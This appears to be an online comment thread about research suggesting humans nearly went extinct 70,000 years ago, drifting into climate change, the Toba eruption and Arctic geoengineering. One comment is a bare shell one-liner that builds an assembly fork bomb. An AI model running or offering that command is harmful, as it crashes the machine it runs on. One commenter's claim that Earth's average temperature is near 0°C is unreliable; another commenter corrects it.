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Humans Nearly Went Extinct 70,000 Years Ago
Josh Fink brings us a CNN story discussing evidence found by researchers which indicates that humans came close to extinction roughly 70,000 years ago. A similar study by Stanford scientists suggests that droughts reduced the population to as few as 2,000 humans, who were scattered in small, isolated groups. Quoting:
"'This study illustrates the extraordinary power of genetics to reveal insights into some of the key events in our species' history,' said Spencer Wells, National Geographic Society explorer in residence. 'Tiny bands of early humans, forced apart by harsh environmental conditions, coming back from the brink to reunite and populate the world. Truly an epic drama, written in our DNA.'"
This event probably ended up establishing the concept of "races", meaning small groups of geographically isolated humans ended up having a lot of genetically distinct features. As their populations grew, they seemed very foreign to each other and only in modern times those barriers to gene flow seem to be falling.
I look forward to the day when people stop saying "I'm X race" and instead say "I carry the genetic markers for A, B, and C." Well, perhaps it's unlikely, but an ex-biologist can dream, can't he?
The problem with global warming is three fold....
#1 it is unequally balanced..the temp changes more at the poles where the ecosystem is more sensitive to temperature. Therefore a small global change will mean dramatic changes in isolated areas.
#2 if you look through history, the average GLOBAL temperature over a one year period has typically hovered around 0 deg C for most of history. I hear that is an important temperature for something..... Anytime the temperature strays from freezing dramatic changes happen to the global environment.
#3 Consistency. So much of our modern society is based an the extremly mild conditions the earth has experienced over the last 20,000 years. Most of Europe is inhabitable ONLY because of the gulf stream and atlantic currents. Agriculture is ONLY possible because the temperature has been consistant year to year. We are in a sweet spot environmentally that is very unusual in earths history. screwing with the temperature is not going to help.
Good old fashion starvation and disease. For reference, see the current food prices and how these are liked in the developing world. Biofuel mania has something to do with it, but increased consumption by people and animals people eat is the major problem.
Yes, it's entirely possible to get crop failures leading to starvation. But how many deaths? 1M? 10M? Not even a small dent in human population.
The flaw in your thinking is very common -- it assumes a static world that does not adjust. If people are dying by the millions, then things will adjust. Hunger is by far a distribution problem, not a food production problem.
Sometimes it's best to just let stupid people be stupid.
the explosion of the Toba volcano, in Indonesia, that was believed to take humans to the brink of extinction:
Across the world the last eruption of a super volcano was the Toba volcano in Indonesia. This erupted around 75,000 years ago spewing out tremendous quantities of rock and ash and is thought to have reduced global temperatures by up to 21 degrees centigrade.
I'm giving up modding to point this out, but perhaps you might want to consider that many systems in nature tend to be a kind of check-and-balance. There are effects in the system which dampen the issue, things which remove carbon from the air and bind it. If we continue to increase the CO2 levels, we will overwhelm those checks and then all hell will break loose.*
/rant
The other thing I'd like to mention is that there really are more things to consider than just CO2 levels in terms of global warming. I don't think that human carbon dioxide emissions will be the end of us, but it could trigger the chain of events that leaves our planet much less hospitable to us. Have you heard of the methane hydrates in the cold sea bed?** It's possible that a small shift caused by our increasing carbon dioxide emissions - even if they have to increase by another 30% or maybe more - will push the temperature over a critical threshold and trigger a cascade which will again cause all hell to break loose.
So in a way, you are right. Except in climates which are around a sensitive temperature (e.g. Those areas where the temperature hovers near 0 degrees C) there is very little change right now. That could be that CO2 emissions are having a very minimal effect on the temperature, or more likely IMO, that's just that we haven't quite overwhelmed the checks that are in place.
* (IANA Environmental Scientist, so there may be a margin of error in the direness of my predictions)
** http://dsc.discovery.com/news/2008/02/26/methane-global-warming.html
http://www.rollingstone.com/news/story/12343892/can_dr_evil_save_the_world/print A real-life experiment in the Arctic was, of course, out of the question. But after some discussion, Caldeira and Wood decided to run some computer modeling to see if shooting particles into the stratosphere over the North Pole could help stabilize the region. How much sunlight, they wondered, would you have to reflect to stop the ice from melting? What effect would it have on the rest of the Earth's climate?
Scientists routinely use such computer models to test the effects of various climate-related scenarios, from rising CO2 levels to the impact of deforestation on global warming. After several weeks of running a climate simulation on Stanford's superfast computer network, Caldeira concluded that shading the sunlight directly over the polar ice cap by less than twenty-five percent would maintain the "natural" level of ice in the Arctic, even with a doubling of atmospheric CO2 levels. Push the shading up to fifty percent, and the ice grows. Even better, the restoration happens fast: Within five years, the temperature would drop by almost two degrees. 2 degrees Centigrade is a lot in global warming terms. Wikipedia says "The average global air temperature near the Earth's surface increased 0.74 ± 0.18 degrees C (1.33 ± 0.32 degrees F) during the hundred years ending in 2005". The modeling results interested Wood. He calculated that it would take roughly 300,000 metric tons of particles each year to shade the sunlight in the Arctic by twenty-five percent -- a tiny amount, on a planetary scale. As for how to get those particles up there, Wood thinks that a half-dozen 747s could do the job. Even better, you could build a Kevlar tube fifteen miles long, with a diameter slightly larger than a garden hose. The bottom of the hose would be connected to a combustor that created the aerosols, while the top would be held in place by high-tech kites or a high-altitude airship that the Defense Department is developing. "It's nothing more than a fancy blimp," Wood says.
In Wood's view, this was a no-brainer. You could stabilize the ice, save the polar bears and demonstrate the virtues of planetary engineering for less money than it takes to feed and clothe the soldiers in Iraq for a year. Because the aerosols are launched only over the Arctic, there is little danger of directly impacting humans. And best of all, you can try it for a few years and see if it works. If something goes wrong, you can quit, and within a year or so, all the particles will have dissipated, returning the region to its "natural" state. I like this quote too. "Human beings are like cockroaches," Wood says with typical black humor. "It's fairly easy to kill the first ten percent of the population. And if you try really hard, you might even get the next ten percent. But no matter what you do, you'll never get that last ten percent. We will find a way to survive." That's the spirit.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I have. I talked to a lot of them when I was getting my geology degree in college. You're right that the climate is constantly changing. You're wrong if you think that implies that humans cannot change the climate.
You're also wrong if you think that recorded human history is the only record of past climate that we can reference. There are numerous natural records of past climate that go back much further into the past. And by the way, the best estimate for an average global surface temp is actually about 14 degrees C, not 0. I have no idea where the grandparent got that number. Maybe they mistook temp anamoly for absolute temp.
Finally, it may surprise you to learn that many researchers of past and current climate do in fact hold geology degrees.
Build a man a fire, he's warm for one night. Set him on fire, and he's warm for the rest of his life.